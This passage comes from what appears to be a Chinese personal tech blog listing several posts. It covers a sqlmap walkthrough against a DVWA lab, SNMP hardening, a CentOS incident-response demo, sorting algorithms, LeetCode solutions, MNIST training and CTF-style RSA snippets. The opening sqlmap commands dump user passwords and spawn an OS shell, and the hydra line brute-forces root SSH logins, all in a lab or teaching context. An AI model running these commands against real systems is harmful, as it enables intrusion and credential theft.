PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users --columns --batch-T 选择表 --columns 显示列查字段内容sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users -C user,password --dump --batch-C 指定字段 --dump 显示数据库表的条目sqlmap 上传木马sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --delay=1 --os-shellsqlmap参数大全https://blog.csdn.net/weixin_42160117/article/details/113999523
2022年12月02日
111 阅读
0 评论
5 点赞
2022-11-02
【技术分享】Python3 嵌入式打包
简介在打包软件一般都是用pyinstaller这个工具,但它满足不了我们的要求,有时候还会出很多问题,官方特意给我门提供一个内嵌打包的Python环境。Python是一门解释语言,打包也会带有一个解释器,别人运行了你打包好的exe,就会在他计算机内释放解释器,然后用解释器执行脚本(简单说)。而内嵌式打包是官方给我提供的一个Python解释器,这里他除去了很多不必要的东西,相当于是绿色版Python特别方便。安装步骤1.首先先到 Python官网 https://www.python.org 在页面中找到Downloads选择Windows点进去。2.这里建议下载的python不要使用最新版,因为很多库都是没有更新到容易出错,这里我选择下载 Windows embeddable package (32-bit)。3.下载好了后将里面的文件解压出来,在里面新建一个名为 get-pip.py 文件。4.打开 get-pip.py 将这个网站 https://bootstrap.pypa.io/get-pip.py 的内容复制到文本里保存。5.用终端进入解压python的目录里,输入 python get-pip.py (记住一定要在这个解压的python根目录下),这个时候就会从官方那里下载两个文件夹,一个是Lib通过pip下载的第三方模块都在这里面,另一个Scripts是脚本里面包含了pip一些工具。python get-pip.py 6.找到.pth后缀文件,# import site 这行的注释 # 去掉然后保存就可以了。7.在根目录里启动终端输入Python,发现可以使用了尝试导入第三方库 requests库,发现报错了那是因为我们没有安装。8.现在去Scripts文件夹下启动终端,输入pip install request回车,下载好的第三方库都会下载到Lib文件夹内。pip install requests9.再次启动终端输入Python,再次导入模块发现已经可以用了,这个时候你写的Python源码可以放在这里面,再写个bat批处理一键运行,就可以发给别人了~@echo off chcp 65001 .\ws\python.exe test.txt pause
2022年11月02日
165 阅读
0 评论
8 点赞
2022-10-17
【技术分享】SNMP服务安全加固
简介SNMP(Simple Network Management Protocol),即简单网络管理协议,是一种用于网络设备管理的应用层协议。它允许网络管理员监视、配置和控制网络中的设备,以确保网络的正常运行和性能优化。nmap -p161 -sU 192.168.1.6扫描下 snmp 这个服务,发现是打开的。nmap -sU -p161 --script=snmp-netstat 192.168.1.6 //获取网络端口状态 nmap -sU -p161 --script=snmp-sysdescr 192.168.1.6 //获取系统信息 nmap -sU -p161 --script=snmp-win32-user 192.168.1.6 //获取用户信息输入 netstat 来获取网络端口,发现存在弱口令问题。Windows 加固进入到服务里找到 "SNMP Service",进行更改社区名称默认 "public" 改的复杂点就行。修改后就生效了,扫描发现已经没有了,不放心可以重启下服务。nmap -sU -p161 -script=snmp-netstat 192.168.1.6
2022年10月17日
14 阅读
0 评论
3 点赞
2022-10-03
【技术分享】Centos 7 应急响应日志
ssh爆破登录首先准备一下要爆破的目标,这里就用centos进行演示,以上是安装ssh服务的过程。hydra -l root -P pass.txt 192.168.213.135 ssh这里爆破下ssh协议目标用户是root,密码就用自己写的字典进行爆破,只是做个演示。系统日志grep "password for root" secure最终我们在检查日志后发现,通过ssh登录的root用户已被进行了密码爆破攻击,要查哪个用户过滤规则就该下比如:passowrd for shadow。web日志...
2022年10月03日
62 阅读
0 评论
4 点赞
2022-10-02
【技术分享】QQ空白名透明头像
实现步骤透明头像设置:上传图片时需要借助专门的软件工具(例如透明头像制作工具)。直接通过工具上传透明图片,因为普通上传方式不支持透明效果。工具链接:透明头像工具空白名称设置:复制特定的空白字符:将 ( 这一段内容复制,仅保留中间的空白部分,删除半括号。粘贴到昵称框中后,确保末尾保留一个空格,这是实现空白名称的关键。最终效果:透明头像和空白名称设置成功后,可以看到 QQ 头像处为透明效果,昵称显示为空白。注意事项工具选择: 透明头像的生成依赖于特定工具,使用时需确保来源可靠、安全。空白字符使用: 操作时要精准复制空白字符,防止误删或操作失败。支持版本: 部分 QQ 版本可能对空白名称或透明头像有兼容性问题,可优先选择支持自定义内容的版本。总结通过借助软件工具生成透明头像,并使用空白字符技巧设置空白名称,即可轻松实现 QQ 的个性化展示效果。操作简单,视觉效果独特,非常适合提升个性化账号形象。
2022年10月02日
136 阅读
0 评论
5 点赞
2022-09-30
【技术分享】十大排序算法篇
排序算法分类非线性时间比较类排序:比较来绝定元素间的相对次序,时间复杂度不能突破O(nlogn)。所以称非线性时间比较类排序。线性时间非比较类排序:不通过比较来决定元素间的相对次序。可以突破基于比较排序的时间下界以线性时间运行,所以称为线性时间非比较类排序。排序算法概述常见的有 快速排序、归并排序、堆排序以及冒泡排序 都属于比较类排序算法。比较类排序是通过比较来决定元素间的相对次序,时间复杂度不能突破 O(nlogn),因此也称为非线性时间比较类排序。在冒泡排序之类的排序中,问题规模为 n,又因为需要比较 n 次,所以平均时间复杂度为 O(n²)。在归并排序、快速排序之类的排序中,问题规模通过分治法消减为 logn 次,所以时间复杂度平均 O(nlogn)。比较类排序的优势是,适用于各种规模的数据,也不在乎数据的分布,都能进行排序。可以说,比较排序适用于一切需要排序的情况。计数排序、基数排序、桶排序 则属于非比较类排序算法。非比较排序不通过比较来决定元素间的相对次序,而是通过确定每个元素之前,应该有多少个元素来排序。由于它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。非比较排序只要确定每个元素之前的已有的元素个数即可,所有一次遍历即可解决。算法时间复杂度 O(n)。冒泡排序 (Bubble Sort)冒泡排序是一种简单的排序算法算法原理:重复地遍历待排序的序列,依次比较两个元素,如果它们的顺序错误就把它们交换过来。遍历序列的工作是重复地进行直到没有再需要交换为止,此时说明该序列已经排序完成。# 第一种 def Bubble_sort(nums): for j in range(len(nums)-1,0,-1): for i in range(j): if nums[i] > nums[i + 1]: nums[i], nums[i+1] = nums[i +1], nums[i] array = [5,9,1,3,0,7,6] Bubble_sort(array) print(array) # 第二种 array = [3,2,5,6,4,8] for i in range(0, len(array)-1): for j in range(0, len(array)-1): if array[j] > array[j+1]: array[j], array[j+1] = array[j+1], array[j] print(array) # 第三种 array = [3,2,5,6,4,8] res = [ array.pop(array.index(min(array))) for i in range(len(array)) ] print(res)快速排序(Quick Sort)算法原理:快速排序使用分治法(Divide and conquer)策略来把一个序列分为较小和较大的 2 个子序列,然后递回地排序两个子序列。def partition(li,left,right): tmp = li[left] while left < right: while left < right and li[right] >= tmp: #从右边找比tmp小的数 right -= 1 #继续从右往左查找 li[left] = li[right] #把右边的值写到左边空位上 while left < right and li[left] <= tmp: left += 1 li[right] = li[left] #把左边的值写到右边空位上 li[left] = tmp #把tmp归位 return left def quick_sort(li,left,right): if left < right :#至少两个元素 mid = partition(li,left,right) quick_sort(li,left,mid-1) quick_sort(li,mid+1,right) li = [5,7,4,6,3,1,2,9,8] quick_sort(li,0,len(li)-1) print(li)选择排序(Selection Sort)算法原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。重复第 2 步,直到所有元素均排序完毕。def selection_sort(num_list): length = len(num_list) if length <= 1: return num_list for j in range(length): # 假设第一个元素为最小元素 min_num_index = j # 遍历未排序区域元素,以此和未排序区域的第一个元素做对比 for i in range(j+1, length): if num_list[i] < num_list[min_num_index]: min_num_index = i # 交换位置 num_list[min_num_index], num_list[j] = num_list[j], num_list[min_num_index] return num_list array = [1, 3, 2, 6, 4, 12, 33, 5, 25] print(selection_sort(array))插入排序(Insertion Sort)算法原理:从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到下一位置;重复步骤 3,直到找到已排序的元素小于或者等于新元素的位置;将新元素插入到该位置后;重复步骤 2~5。def insert_sort(tg): for i in range(1, len(tg)): for j in range(i, 0, -1): if tg[j] < tg[j-1]: tg[j-1], tg[j] = tg[j], tg[j-1] else: break array = [8,7,5,4,6,3,1] insert_sort(array) print(array)归并排序(Merge Sort)算法原理:如果输入内只有一个元素,则直接返回,否则将长度为 n 的输入序列分成两个长度为 n/2 的子列;分别对这两个子序列进行归并排序,使子序列变为有序状态;设定两个指针,分别指向两个已经排序子序列的起始位置;比较两个指针所指向的元素,选择相对小的元素放入到合并空间(用于存放排序结果),并移动指针到下一位置;重复步骤 3 ~4 直到某一指针达到序列尾;将另一序列剩下的所有元素直接复制到合并序列尾def merge(left, right): # 合并两个有序列表 res = [] while len(left) > 0 and len(right) > 0: if left[0] < right[0]: res.append(left.pop(0)) else: res.append(right.pop(0)) if left: res.extend(left) if right: res.extend(right) return res def mergeSort(arr): # 归并函数 n = len(arr) if n < 2: return arr middle = n // 2 left = arr[:middle] # 取序列左边部分 right = arr[middle:]# 取序列右边部分 # 对左边部分序列递归调用归并函数 left_sort = mergeSort(left) # 对右边部分序列递归调用归并函数 right_sort = mergeSort(right) # return merge(left_sort, right_sort) array = [8,7,5,4,6,3,1] print(mergeSort(array))计数排序(Counting Sort)算法原理:找出数组中的最大值 max、最小值 min;创建一个新数组 C,其长度是 max-min+1,其元素默认值都为 0;遍历原数组 A 中的元素 A[i],以 A[i]-min 作为 C 数组的索引,以 A[i] 的值在 A 中元素出现次数作为 C[A[i]-min] 的值;对 C 数组变形,新元素的值是该元素与前一个元素值的和,即当 i>1 时 C[i] = C[i] + C[i-1];创建结果数组 R,长度和原始数组一样。从后向前遍历原始数组 A 中的元素 A[i],使用 A[i] 减去最小值 min 作为索引,在计数数组C 中找到对应的值 C[A[i]-min],C[A[i]-min]-1 就是 A[i] 在结果数组 R 中的位置,做完上述这些操作,将 count[A[i]-min] 减小 1。def count_sort(nums): # 最大值-最小值+1的数组,初始值为0 bucket = [0] * (max(nums) - min(nums) + 1) # 统计原数组中每个元素出现的个数,存储在新开辟的数组中 for num in nums: bucket[num - min(nums)] += 1 # nums的下标 i = 0 # 根据每个元素出现的次数,按照新开辟数组的元素从小到大依次填充到原来的数组中 for j in range(len(bucket)): while bucket[j] > 0: nums[i] = j + min(nums) bucket[j] -= 1 i += 1 return nums array = [8,7,5,4,6,3,1] print(count_sort(array))桶排序(Bucket Sort)设置一个 BucketSize,作为每个桶所能放置多少个不同数值;遍历输入数据,并且把数据依次映射到对应的桶里去;对每个非空的桶进行排序,可以使用其它排序方法,也可以递归使用桶排序;从非空桶里把排好序的数据拼接起来。def bucketSort(nums): # 选择一个最大的数 max_num = max(nums) # 创建一个元素全是0的列表, 当做桶 bucket = [0] * (max_num + 1) # 把所有元素放入桶中, 即把对应元素个数加一 for i in nums: bucket[i] += 1 # 存储排序好的元素 sort_nums = [] # 取出桶中的元素 for j in range(len(bucket)): if bucket[j] != 0: for y in range(bucket[j]): sort_nums.append(j) return sort_nums array = [8,7,5,4,6,3,1] print(bucketSort(array))基数排序(Radix Sort)算法原理:取得数组中的最大数,并取得位数,即为迭代次数 N(例如:数组中最大数值为 1000,则 N=4);A 为原始数组,从最低位开始取每个位组成 radix 数组;对 radix 进行计数排序(利用计数排序适用于小范围数的特点);将 radix 依次赋值给原数组;重复 2~4 步骤 N 次def radix_sort(s): i = 0 # 记录当前正在排拿一位,最低位为1 max_num = max(s) # 最大值 j = len(str(max_num)) # 记录最大值的位数 while i < j: bucket_list =[[] for _ in range(10)] #初始化桶数组 for x in s: bucket_list[int(x / (10**i)) % 10].append(x) # 找到位置放入桶数组 s.clear() for x in bucket_list: # 放回原序列 for y in x: s.append(y) i += 1 array = [8,7,5,4,6,3,1] radix_sort(array) print(array)希尔排序(Shell Sort)算法原理:选择一个增量序列 {t1, t2, …, tk},其中 (ti>tj, i<j, tk=1);按增量序列个数 k,对序列进行 k 趟排序;每趟排序,根据对应的增量 t,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。def ShellSort(nums): step = len(nums)//2 #初始化增量为数组长度的一半 while step > 0: #增量必须是大于0的整数 for i in range(step,len(nums)): #遍历需要进行插入排序的数 ind = i while ind >= step and nums[ind] < nums[ind-step]: #对每组进行插入排序 nums[ind],nums[ind-step] = nums[ind-step],nums[ind] ind -= step step //= 2 #增量缩小一半 return nums array = [8,7,5,4,6,3,1] ShellSort(array) print(array)堆排序(Heapsort)创建一个堆 H[0……n-1];把堆首(最大值)和堆尾互换;把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置;重复步骤 2,直到堆的尺寸为 1。import math def buildMaxHeap(arr): for i in range(math.floor(len(arr)/2),-1,-1): heapify(arr,i) def heapify(arr, i): left = 2*i+1 right = 2*i+2 largest = i if left < arrLen and arr[left] > arr[largest]: largest = left if right < arrLen and arr[right] > arr[largest]: largest = right if largest != i: swap(arr, i, largest) heapify(arr, largest) def swap(arr, i, j): arr[i], arr[j] = arr[j], arr[i] def heapSort(arr): global arrLen arrLen = len(arr) buildMaxHeap(arr) for i in range(len(arr)-1,0,-1): swap(arr,0,i) arrLen -=1 heapify(arr, 0) return arr array = [8,7,5,4,6,3,1] print(heapSort(array)){dotted startColor="#ff6c6c" endColor="#1989fa"/}以下排序不在内TimSortdef binary_search(lst, item, start, end): if start == end: return start if lst[start] > item else start + 1 if start > end: return start mid = (start + end) // 2 if lst[mid] < item: return binary_search(lst, item, mid + 1, end) elif lst[mid] > item: return binary_search(lst, item, start, mid - 1) else: return mid def insertion_sort(lst): length = len(lst) for index in range(1, length): value = lst[index] pos = binary_search(lst, value, 0, index - 1) lst = lst[:pos] + [value] + lst[pos:index] + lst[index + 1 :] return lst def merge(left, right): if not left: return right if not right: return left if left[0] < right[0]: return [left[0]] + merge(left[1:], right) return [right[0]] + merge(left, right[1:]) def tim_sort(lst): """ >>> tim_sort("Python") ['P', 'h', 'n', 'o', 't', 'y'] >>> tim_sort((1.1, 1, 0, -1, -1.1)) [-1.1, -1, 0, 1, 1.1] >>> tim_sort(list(reversed(list(range(7))))) [0, 1, 2, 3, 4, 5, 6] >>> tim_sort([3, 2, 1]) == insertion_sort([3, 2, 1]) True >>> tim_sort([3, 2, 1]) == sorted([3, 2, 1]) True """ length = len(lst) runs, sorted_runs = [], [] new_run = [lst[0]] sorted_array = [] i = 1 while i < length: if lst[i] < lst[i - 1]: runs.append(new_run) new_run = [lst[i]] else: new_run.append(lst[i]) i += 1 runs.append(new_run) for run in runs: sorted_runs.append(insertion_sort(run)) for run in sorted_runs: sorted_array = merge(sorted_array, run) return sorted_array def main(): lst = [5, 9, 10, 3, -4, 5, 178, 92, 46, -18, 0, 7] sorted_lst = tim_sort(lst) print(sorted_lst) if __name__ == "__main__": main()Stoogesortdef stooge_sort(arr): """ Examples: >>> stooge_sort([18.1, 0, -7.1, -1, 2, 2]) [-7.1, -1, 0, 2, 2, 18.1] >>> stooge_sort([]) [] """ stooge(arr, 0, len(arr) - 1) return arr def stooge(arr, i, h): if i >= h: return # If first element is smaller than the last then swap them if arr[i] > arr[h]: arr[i], arr[h] = arr[h], arr[i] # If there are more than 2 elements in the array if h - i + 1 > 2: t = (int)((h - i + 1) / 3) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) # Recursively sort last 2/3 elements stooge(arr, i + t, (h)) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) if __name__ == "__main__": user_input = input("Enter numbers separated by a comma:\n").strip() unsorted = [int(item) for item in user_input.split(",")] print(stooge_sort(unsorted))
2022年09月30日
478 阅读
0 评论
52 点赞
2022-09-28
【技术分享】Leetcode 解题
两数之和给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。示例 1:输入:nums = [2,7,11,15], target = 9输出:[0,1]解释:因为 nums[0] + nums[1] == 9 ,返回 [0, 1]示例 2:输入:nums = [3,2,4], target = 6输出:[1,2]示例 3:输入:nums = [3,3], target = 6输出:[0,1]Go// 利用hash表进行求解 package main import "fmt" func twoSum(nums []int, target int) []int { hash := make(map[int]int) for i := 0; i < len(nums); i++ { if index, ok := hash[target-nums[i]]; ok { return []int{index, i} } hash[nums[i]] = i } return nil } func main() { array := []int{2, 7, 11, 15} fmt.Println(twoSum(array[:], 9)) }Python3class Solution(object): def twoSum(self, nums, target): dic = {} for i, num in enumerate(nums): if num in dic: return [dic[num], i] else: dic[target - num] = i判断回文数给你一个整数 x ,如果 x 是一个回文整数,返回 true ;否则,返回 false 。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。例如,121 是回文,而 123 不是。 示例 1:输入:x = 121输出:true示例 2:输入:x = -121输出:false解释:从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。示例 3:输入:x = 10输出:false解释:从右向左读, 为 01 。因此它不是一个回文数。提示:-231 <= x <= 231 - 1Gopackage main import "fmt" func isPalindrome(x int) bool { if 0 > x || (0 == x%10 && 0 != x) { return false } var rever int for x > rever { rever = rever*10 + x%10 x /= 10 } return (x == rever) || (x == rever/10) } func main() { fmt.Println(isPalindrome(1222221)) }Python3class Solution: def isPalindrome(self, x: int) -> bool: return str(x) == str(x)[::-1]删除有序数组中的重复项给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。由于在某些语言中不能改变数组的长度,所以必须将结果放在数组nums的第一部分。更规范地说,如果在删除重复项之后有 k 个元素,那么 nums 的前 k 个元素应该保存最终结果。将最终结果插入 nums 的前 k 个位置后返回 k 。不要使用额外的空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。判题标准:系统会用下面的代码来测试你的题解:int[] nums = [...]; // 输入数组 int[] expectedNums = [...]; // 长度正确的期望答案 int k = removeDuplicates(nums); // 调用 assert k == expectedNums.length; for (int i = 0; i < k; i++) { assert nums[i] == expectedNums[i]; }如果所有断言都通过,那么您的题解将被 通过。示例 1:输入:nums = [1,1,2]输出:2, nums = [1,2,_]解释:函数应该返回新的长度 2 ,并且原数组 nums 的前两个元素被修改为 1, 2 。不需要考虑数组中超出新长度后面的元素。示例 2:输入:nums = [0,0,1,1,1,2,2,3,3,4]输出:5, nums = [0,1,2,3,4]解释:函数应该返回新的长度 5 , 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4 。不需要考虑数组中超出新长度后面的元素。Gopackage main import "fmt" func removeDuplicates(nums []int) int { slow, fast := 1, 1 for fast < len(nums) { if nums[fast-1] != nums[fast] { nums[slow] = nums[fast] slow++ } fast++ } return slow } func main() { var array = []int{1, 2, 3, 4, 4, 6, 6, 8, 8, 9} fmt.Println(removeDuplicates(array)) }Python3class Solution: def removeDuplicates(self, nums: List[int]) -> int: slow = fast = 0 while fast < len(nums): if nums[slow] != nums[fast]: slow += 1 nums[slow] = nums[fast] fast += 1 return slow + 1
2022年09月28日
72 阅读
0 评论
29 点赞
2022-09-13
【技术分享】Python3 文字识别模型训练
简介Torch 是一种常用的深度学习框架,可以用于训练各种类型的神经网络模型,包括文字识别模型,文字识别模型是一种能够自动识别图像中的文字并将其转换成可编辑文本的模型,在训练模型之前,准备好一组包含大量图像和相应标签的数据集,Torch 中提供的工具和函数,可以构建、训练和测试一个文字识别模型,在模型训练完成后,可以将其用于对新的图像进行文字识别,并输出识别结果。训练代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms import matplotlib.pyplot as plt # 默认显示512张图片 BATCH_SIZE = 512 # 默认训练批次20次 EPOCHS = 20 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 由于官方已经实现dataset,直接使用DataLoader来获取数据 # MNIST数据集包含6万张28x28的训练样本,1万张测试样本 # 下载训练集 train_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = True, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 下载测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = False, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 展示训练样本图片 # 使用torchvision.utils中的make_grid类方法将一个批次的图片构造成网格模式 def imshow(images): img = torchvision.utils.make_grid(images) npimg = img.numpy() plt.imshow(np.transpose(npimg,(1,2,0))) plt.show() # 从训练集中拿出一批图像 # 用iter和next函数来获取取一个批次的图片数据和其对应的图片标签 images,labels = next(iter(train_loader)) imshow(images) print(labels) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 生成模型 model = ConvNet().to(DEVICE) print(model) # 构建优化器optimizer,包含一个可进行迭代优化的、包含所有参数的列表 # model.parameters()表示优化的参数,lr表示学习率 optimizer = optim.Adam(model.parameters(),lr=0.0001) # 定义训练函数 def train(model, device, train_loader, optimizer, epoch): model.train() for batch_idx, (data, target) in enumerate(train_loader): # 输入样本和标签 data, target = data.to(device), target.to(device) # 每次训练梯度清零 optimizer.zero_grad() # 正向传播、反向传播和优化过程 output = model(data) loss = F.nll_loss(output, target) loss.backward() optimizer.step() # 打印训练情况 if (batch_idx + 1) % 30 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}'.format( epoch, batch_idx * len(data), len(train_loader.dataset), 100. * batch_idx / len(train_loader), loss.item())) # 定义验证函数 def test(model, device, test_loader): model.eval() test_loss = 0 correct = 0 with torch.no_grad(): for data, target in test_loader: # 输入样本和标签 data, target = data.to(device), target.to(device) output = model(data) # 将一批的损失相加 test_loss += F.nll_loss(output, target, reduction='sum') # 找到概率最大的下标 pred = output.max(1, keepdim=True)[1] correct += pred.eq(target.view_as(pred)).sum().item() test_loss /= len(test_loader.dataset) # 打印验证情况 print("\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%) \n".format( test_loss, correct, len(test_loader.dataset), 100. * correct / len(test_loader.dataset) )) # 开始训练模型 for epoch in range(1, EPOCHS + 1): train(model, DEVICE, train_loader, optimizer, epoch) test(model, DEVICE, test_loader) # 保存模型 torch.save(model.state_dict(), "./MNISTModel.pkl")识别代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms # 默认预测四张含有数字的图片 BATCH_SIZE = 4 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root='data', train=False, download=True, transform=tsfrm), batch_size=BATCH_SIZE, shuffle=True) # 定义图片可视化函数 def imshow(images): img = torchvision.utils.make_grid(images) img = img.numpy().transpose(1, 2, 0) std = [0.5, 0.5, 0.5] mean = [0.5, 0.5, 0.5] img = img * std + mean # 将图片高和宽分别赋值给x1,y1 x1, y1 = img.shape[0:2] # 图片放大到原来的5倍,输出尺寸格式为(宽,高) enlarge_img = cv2.resize(img, (int(y1*5), int(x1*5))) cv2.imshow('image', enlarge_img) cv2.waitKey(0) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 主程序入口 if __name__ == "__main__": model_eval = ConvNet() # 加载训练模型 model_eval.load_state_dict(torch.load( './MNISTModel.pkl', map_location=DEVICE)) model_eval.eval() # 从测试集里面拿出几张图片 images, labels = next(iter(test_loader)) inputs = images.to(DEVICE) # 输出 outputs = model_eval(inputs) # 找到概率最大的下标 _, preds = torch.max(outputs, 1) # 打印预测结果 numlist = [] for i in range(len(preds)): label = preds.numpy()[i] numlist.append(label) List = ' '.join(repr(s) for s in numlist) print('当前预测的数字为: ', List) # 显示图片 imshow(images)识别效果
2022年09月13日
35 阅读
1 评论
5 点赞
2022-09-11
【技术分享】Python3 代码笔记
Python3自由落体import time def BallFalling(): width,height = 800,600 # 窗口宽度 g, vy = 0.3, 0 # 小球重力加速 x = width // 2 # 小球x坐标除2位于窗口中 y = height // 2 # 小球y坐标除2位于窗口中间 radius = 20 # 小球半径 while True: vy = vy + g # 重力加速 y = y + vy # 根据速度更新y坐标 if y <= radius: vy = -vy if y >= height - radius: vy = -vy print(y) time.sleep(0.01) BallFalling()凯撒加解密def caesar_encrypt(text, shift): # 加密 res = '' for i in text: res += chr((ord(i) + shift - 97) % 26 + 97) return res def caesar_decrypt(text, shift): # 解密 res = '' for i in text: res += chr((ord(i) - shift - 97) % 26 + 97) return res text = "hello" # 明文 shift = 500 # 偏移 encrypted_text = caesar_encrypt(text, shift) print(encrypted_text) decrypted_text = caesar_decrypt(encrypted_text, shift) print(decrypted_text)日期差计算from datetime import datetime, timedelta start_date = datetime(2021, 10, 3) end_date = datetime(2023, 2, 6) difference = end_date - start_date years = difference.days // 365 months = (difference.days % 365) // 30 days = (difference.days % 365) % 30 print("{} years, {} months, and {} days".format(years, months, days))RSA私钥生成算法import gmpy2 e = 17 p = 473398607161 q = 4511491 d = gmpy2.invert(e,(p-1)*(q-1)) print(d)RSA解密算法1import gmpy2 p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483 q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407 e = 65537 c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034 n = p * q phi_n = (p-1)*(q-1) d = gmpy2.invert(e, phi_n) m = gmpy2.powmod(c, d, n) print(m)RSA解密算法2import gmpy2 from Crypto.Util.number import long_to_bytes p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852 I = gmpy2.invert(q,p) m1 = gmpy2.powmod(c,dp,p) m2 = gmpy2.powmod(c,dq,q) m = (((m1-m2)*I)%p)*q+m2 print(long_to_bytes(m))文件异或f = open("misc.png",'rb') with open('flag.png','wb') as nfile: for b in f.read(): # 遍历二进制 # 这里的b是int形式,要转换成bytes时,使用bytes(),且里面的内容需要加[] nfile.write(bytes([b^0x50])) f.close().rdata区段搜索import pefile PEpath = r'xxx.exe' PEdata = pefile.PE(PEpath) rdata = None for section in PEdata.sections: if section.Name.decode().strip('\x00') == '.rdata': rdata = section break if rdata is None: print('.rdata区段未找到') else: # 计算数据在文件中的偏移量和长度 data_offset = rdata.PointerToRawData data_size = rdata.SizeOfRawData # 将数据读入内存 pe_file = open(PEpath, 'rb') pe_file.seek(data_offset) data = pe_file.read(data_size) pe_file.close() # 找到特定的字符串 needle = b'173' index = data.find(needle) if index != -1: # 如果找到了该字符串,输出该字符串及其后面的一些内容 print('Found at offset', data_offset + index) print(data[index:index+20].decode('utf-8'))获取IAT表import pefile PEpath = r'xxx.exe' # 打开PE文件 pe = pefile.PE(PEpath) # 获取IAT表 iat = pe.DIRECTORY_ENTRY_IMPORT # 遍历每个导入表 for entry in iat: # 打印DLL名称和导入函数名称和地址 for imp in entry.imports: if imp.name: print(entry.dll.decode(), imp.name.decode(), 